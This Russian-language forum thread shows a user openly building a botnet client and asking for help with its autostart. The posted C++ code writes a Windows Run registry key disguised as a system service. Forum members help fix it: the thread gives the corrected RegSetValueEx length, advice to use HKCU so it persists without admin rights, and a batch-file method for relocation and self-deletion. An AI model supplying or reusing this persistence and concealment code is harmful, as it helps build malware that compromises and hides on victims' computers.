Проблема Автозагрузка для клиента ботнета

I

id01

Йоу, этичные хакеры! Грею мечту о создании ботнета. Ну хотя бы маленького...
Дело вот в чем. Есть клиент. Если его запустить, то он проверяет, где находится. Если не там, где надо, то перемещается с помощью батника (программа завершается, батник перемещает ее и самоудаляется). Но перед перемещением программа устанавливает автозагрузку для перемещенного файла. Все проходит нормально, аз устанавливается. Но когда батник запускает программу из нового места, она просто обрывается по середине функции установки аз. Если запускать из консоли - то же самое. А вот если запустить вручную, двойным кликом - все работает. Такое уже было несколько дней назад, но прошло само собой. В этот раз нужно избавиться от проблемы.

Вот код функции, устанавливающей автозапуск:
Код:
void setAutoLoad()
{
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
    string expStr = GetExpandedSring("%WINDIR%\\system32\\run\\RUN.EXE");
    RegSetValueEx(hKey, "SystemRunServise", 0, REG_SZ, (BYTE*)expStr.c_str(), 1024);
    RegCloseKey(hKey);
}
Проблема в функции RegSetValueEx. Работа программы прерываетнся именно на ней.

Код всего проекта не прикладываю по понятным причинам, но если что-то будет нужно - я выложу.

Помогите, пожалуйста. Заранее спасибо.

P.s. Функция GetExpandedSring получает строку с переменной окружения и возвращает строку с раскрытой переменной окружения.
 
Последнее редактирование модератором:
M

MaksimSaf

"HKEY_LOCAL_MACHINE"; с какими привилегиями программу запускал?
 
I

id01

Всё дело в размере строки, указанном как "1024"

Код:
RegSetValueEx(hKey, "SystemRunServise", 0, REG_SZ, (BYTE*)expStr.c_str(), 1024);

Вместо него надо поставить вот это:

Код:
(DWORD)(lstrlen(expStr.c_str())+1)*sizeof(TCHAR)

Нашел в примерах на MSDN. Пока что работает. Спасибо.

P.s. Сижу с админа. Конечно запускал от администратора.
 

sk3l

Green Team
27.04.2017
42
6
лучше в HKCU бросай, даже если юзерка, то бросит, и да, зачем через батник делать-то?
 
I

id01

лучше в HKCU бросай
Хм... Да, HKCU, наверное, будет лучше.
зачем через батник делать-то?
Я через батник делаю только перемещение клиента в необходимое место, апдейт и самоудаление. Дело в том, что программа удалить себя не может (да-да, знаю, нужны права, но это напряжно, а батником проще гораздо и удобнее), а это нужно во всех трех действиях.
 
Мы в соцсетях: